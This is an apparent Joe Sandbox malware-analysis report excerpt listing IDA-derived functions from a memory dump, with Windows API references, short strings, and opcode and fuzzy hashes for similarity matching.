Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: b21a486c96d4c77e98c6a31eead7d842bbe765c67b758e47e1c847bb50aa950d
Instruction ID: fe95644c33f0743e37cc5576f6c3c7cd89f5afa44844e3fef8d800860bb2d8e1
Opcode Fuzzy Hash: b21a486c96d4c77e98c6a31eead7d842bbe765c67b758e47e1c847bb50aa950d
Instruction Fuzzy Hash: C5913A3A2046408F6E789A2899C506F73E35BA533B7748E22ED12CF7E5D6688CCDC751

Function 0005B77A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00058E32), ref: 0005B872
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00058E32), ref: 0005B87C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00058E32), ref: 0005B889

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 10cf77e99d00181ba88f723f9bc4c9b971145dee386b20719b6a432ce6c5f1e7
Instruction ID: 9311e03a1eb605caef8f546aa8d28658deb534c5094e908f762bce5e148d0006
Opcode Fuzzy Hash: 10cf77e99d00181ba88f723f9bc4c9b971145dee386b20719b6a432ce6c5f1e7
Instruction Fuzzy Hash: E631D2749012299BCB61DF68D888BDDBBF8BF08311F5041EAE80CA7251EB749B858F44

Function 00044CA0 Relevance: 4.2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

Strings

Mnj, xrefs: 0004517B
Mnj, xrefs: 00044F2F
Mnj, xrefs: 00044FCB

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: Mnj$Mnj$Mnj
API String ID: 0-3324928681
Opcode ID: 054d3f1e275c41260ad789c7c0aea8c3d087e8b1c5ec44da737c224181dfb3cf
Instruction ID: 7993f3896c98332d1e34be838a1f71629eeb8fc18d70e44577172c021b553c5d
Opcode Fuzzy Hash: 054d3f1e275c41260ad789c7c0aea8c3d087e8b1c5ec44da737c224181dfb3cf
Instruction Fuzzy Hash: B3D15CF97045048B993CCA29ADC922D73D36B9932077C0E37E857CB3B2D628CD45965B

Function 00065E02 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00065D5D,?,?,00000008,?,?,0006592F,00000000), ref: 0006602F

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0eee15e51d201cd572c9546d5f1b41cbbed11f722385516da2cc675b5422a51f
Instruction ID: 5ee90fe67e51562f81c22dcffc140f303c63cd92f81220cae6448697b8b7f717
Opcode Fuzzy Hash: 0eee15e51d201cd572c9546d5f1b41cbbed11f722385516da2cc675b5422a51f
Instruction Fuzzy Hash: 7DB16231510609DFDB55CF28C48AB657BE1FF45365F258668E8D9CF2A1C336D981CB40

Function 0005F660 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0005EB1E: HeapAlloc.KERNEL32(00000008,?,00000000,?,0005CD08,00000001,00000364,00000000,00000002,000000FF,?,?,0005E401,0005DC60), ref: 0005EB5F

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0005F801
FindNextFileW.KERNEL32(00000000,?), ref: 0005F8F5
FindClose.KERNEL32(00000000), ref: 0005F934
FindClose.KERNEL32(00000000), ref: 0005F967

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: f85aa3da4604e02f82ed7629ab08b221de24097b0a3146868bbb1a406904d060
Instruction ID: eb16d4d3a6bb1cf0cb50dc4ddd207bee37305d77f5da1389ef92e235ee7e9a53
Opcode Fuzzy Hash: f85aa3da4604e02f82ed7629ab08b221de24097b0a3146868bbb1a406904d060
Instruction Fuzzy Hash: B351277550411AAFDF24AF289C849FFB7E9DF49356F1441B9FC09D7202EA388D4A8B60

Function 000598B5 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 000598CB

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 97a2dce2ceaa67a115b42eed8c498c7186741e980e405072bd6e7896438bf46b
Instruction ID: 1f8852b9bedf488d3607f34c614734edec55df6f8cd8f1f4b0a6a07bea5c1ae4
Opcode Fuzzy Hash: 97a2dce2ceaa67a115b42eed8c498c7186741e980e405072bd6e7896438bf46b
Instruction Fuzzy Hash: 0F5160B1E11205CFEB54CF69D9817AABBF1FB48311F24856AD805EB250E7B8D944CFA0

Function 00059683 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000297B0,00059105), ref: 00059688

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c2e25491b3817d634c527abd58bfc9bdba5d61ec6d84afc0626c2b00833538b0
Instruction ID: a2955b4e7231860645419d388b6043fd0f0355e4e54e168705787a16061eeeb3
Opcode Fuzzy Hash: c2e25491b3817d634c527abd58bfc9bdba5d61ec6d84afc0626c2b00833538b0
Instruction Fuzzy Hash:

Function 00042AC7 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

~bD`, xrefs: 00042F47

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: ~bD`
API String ID: 0-944831652
Opcode ID: 3acda2e5da01fcde28492cfd15f1a453617a6f8ce1d3f87fb7af8bc7e8494bdf
Instruction ID: d9764cd418a1749a617b7cd94761aa0fcbe5a1e4083ee34fd3e11d7c12f4a273
Opcode Fuzzy Hash: 3acda2e5da01fcde28492cfd15f1a453617a6f8ce1d3f87fb7af8bc7e8494bdf
Instruction Fuzzy Hash: 2C717DF63049005B8A7C8A2C5DE427E63D69BA53607BD0A3BF812CB2F1D715CC4AD64A

Function 00042B7B Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

~bD`, xrefs: 00042F47

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: ~bD`
API String ID: 0-944831652
Opcode ID: 916630d405b63e956b4776fdd0c57c1f746695f8607730911ea3abfb9825a4c7
Instruction ID: dd58b7afb8f0e83ee0f9262c3c3fb914d4d1a35f3b7c518676d8bb7f1e7d75b3
Opcode Fuzzy Hash: 916630d405b63e956b4776fdd0c57c1f746695f8607730911ea3abfb9825a4c7
Instruction Fuzzy Hash: D65159F57006009FDA64DB289CD5B3A33E5DB95320FA84976FC05CB2A6D365C849C646

Function 00042C20 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

~bD`, xrefs: 00042F47

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: ~bD`
API String ID: 0-944831652
Opcode ID: f00135d766c28cf4b0aff8f2617867980675e308d963c6b586e25e0ed4be3c79
Instruction ID: da84fed28af7965d406988797f6d4c1377d832a7766474e672a34074cf63224a
Opcode Fuzzy Hash: f00135d766c28cf4b0aff8f2617867980675e308d963c6b586e25e0ed4be3c79
Instruction Fuzzy Hash: 014138F67006009FDB14DB389CD5B2A73E6EB98320F684532FC05CB2A6E375C849CA46

Function 0005CAF0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0005CAF0

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 6a62a2572d25e3c6327a3165698b3da7f4a7fed766f537c484db559dd2aa0005
Instruction ID: eb9f8590476deef82555a41c7e5a13703602511a1e5700a81f5cadaa01974803
Opcode Fuzzy Hash: 6a62a2572d25e3c6327a3165698b3da7f4a7fed766f537c484db559dd2aa0005
Instruction Fuzzy Hash: 76A012301012018B73408F35994860837965B002C03098019D400C4030D66C40405F10

Function 000455D0 Relevance: .6, Instructions: 552COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d883d4b7fd29ef6c269b393cfd986a1c2ee5d92c9e4c89109d54cc6460ca1afa
Instruction ID: 8de9630327c419fe28e90f7295ad9cfadd4b87c7305e8f857e51f47581dc004e
Opcode Fuzzy Hash: d883d4b7fd29ef6c269b393cfd986a1c2ee5d92c9e4c89109d54cc6460ca1afa
Instruction Fuzzy Hash: 29124CB5708A448B8E788F285CD413E72D3AB85712BA5453FE867DB3A3DE20CC45974B

Function 00054150 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd39c9af19413735390f27cfb79254c2f0f7fc77a9d536ebee8c5ad80e5252d0
Instruction ID: 0754a381e64ad954759e0f56d57406022d96d31a2d7fda622fa8214108dc5bf6
Opcode Fuzzy Hash: dd39c9af19413735390f27cfb79254c2f0f7fc77a9d536ebee8c5ad80e5252d0
Instruction Fuzzy Hash: 0DE1303D2157408F6968CA3899C81FF72D397A533AB348A12ED11CF7E1E6698CCDC652

Function 00056CB0 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876274a5ee426ace25a174e5196731682f0a19639e97618b13077d7b84fb1967
Instruction ID: bd2e026325ce2cacdd14763a017416a283e2e3006d002f1519a7cd5e1f8340a6
Opcode Fuzzy Hash: 876274a5ee426ace25a174e5196731682f0a19639e97618b13077d7b84fb1967
Instruction Fuzzy Hash: 50D1383A7083008B6D689638F5D852F32D38BC5332B748B12ED19CB3E5E67ADD4D9652

Function 00035930 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c6b3228d5d0a814ba0fb548561d86b1f8fa8aae8ab1e39d1c7272af71f5cee
Instruction ID: 59d0f58618ba592ea67877c4d78dc492bbc42147180f8a1679dde942f1af36fd
Opcode Fuzzy Hash: 54c6b3228d5d0a814ba0fb548561d86b1f8fa8aae8ab1e39d1c7272af71f5cee
Instruction Fuzzy Hash: 4BC13936704A008B4E7ACB295C8952D73DBABD4332F795A27D422CB3F9DB64CD428742

Function 000567E0 Relevance: .3, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b0d2685c8d2c997c7813bb1cbbb78bc65bd1d046cc28cb54ae37478bbed91f
Instruction ID: 9b92af52285c5f62d5729be2b9770b16f2d8023e4eacbf924e026939ff5696f2
Opcode Fuzzy Hash: c3b0d2685c8d2c997c7813bb1cbbb78bc65bd1d046cc28cb54ae37478bbed91f
Instruction Fuzzy Hash: BDA109362043458BAA388B6899E463F7697ABD13267E5870FDC134FBD0DE7B1C4D8642

Function 00035540 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22f02acf518ab5d133bdf54e59c1dd70b9de6aba7092edfb87d530544f2f1891
Instruction ID: 0aeb923befc46ed98da34589c248a7f2fd2a07464cc1a513557ff982f31cb89b
Opcode Fuzzy Hash: 22f02acf518ab5d133bdf54e59c1dd70b9de6aba7092edfb87d530544f2f1891
Instruction Fuzzy Hash: FD81AB3970DB048BCA2667285CD167E37DE9BD5312FC8993AD846A7772EA258C44C3C1

Function 000448F0 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d40a9020f3426bbf2904ae1ce2e3ca7c074014c523bc01a65608c1c459ca0a3a
Instruction ID: c1cb2b8b1d4cffa8f2306f57a7c0430433f7d4bf81b3915d7c25216af3edc638
Opcode Fuzzy Hash: d40a9020f3426bbf2904ae1ce2e3ca7c074014c523bc01a65608c1c459ca0a3a
Instruction Fuzzy Hash: 55715BBB7143045B4A688B3979D437EB3D39F95320B788633D922CB3E5D325CD05924A

Function 0003A2D2 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 163fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0003A94A

Strings

x", xrefs: 0003C4CA
A\, xrefs: 0003ADA4
A\, xrefs: 0003B83B
"!-, xrefs: 0003B852
"!-, xrefs: 0003B860
U<_k, xrefs: 0003A2EA
A\, xrefs: 0003B84D
x", xrefs: 0003C4BC

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: CreateFile
String ID: A\$A\$A\$U<_k$x"$x"$"!-$"!-
API String ID: 823142352-2094675021
Opcode ID: c0f1aead2138ae19a24da4230561a013a096bff430b5423fc2c2b70f79582244
Instruction ID: 2bf33466b11e1db84c335b75a016b3cf69910411b73989be6fb6c01bc1f8e8ec
Opcode Fuzzy Hash: c0f1aead2138ae19a24da4230561a013a096bff430b5423fc2c2b70f79582244
Instruction Fuzzy Hash: 945139327442048BDE7E86285CA963D728F5FE7320F35911FE6479BBF48BA489416B07

Function 000625A3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000626C2
___TypeMatch.LIBVCRUNTIME ref: 000627D0
CatchIt.LIBVCRUNTIME ref: 00062821
_UnwindNestedFrames.LIBCMT ref: 00062922
CallUnexpected.LIBVCRUNTIME ref: 0006293D

Strings

csm, xrefs: 000625E0
csm, xrefs: 0006264D
csm, xrefs: 000626F9

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 6144a69b010538283cf68dcb82a8440c039dffa81ebe47cd0c9a93eafc19f012
Instruction ID: aa16015d012396b8db7e94138faf5781ec9f9631d7083a2f3776785dad47df15
Opcode Fuzzy Hash: 6144a69b010538283cf68dcb82a8440c039dffa81ebe47cd0c9a93eafc19f012
Instruction Fuzzy Hash: 87B16971C01A09EFCF29DFA4C8819EEBBB6BF14310F15455AE8116B212D735EA51CFA1

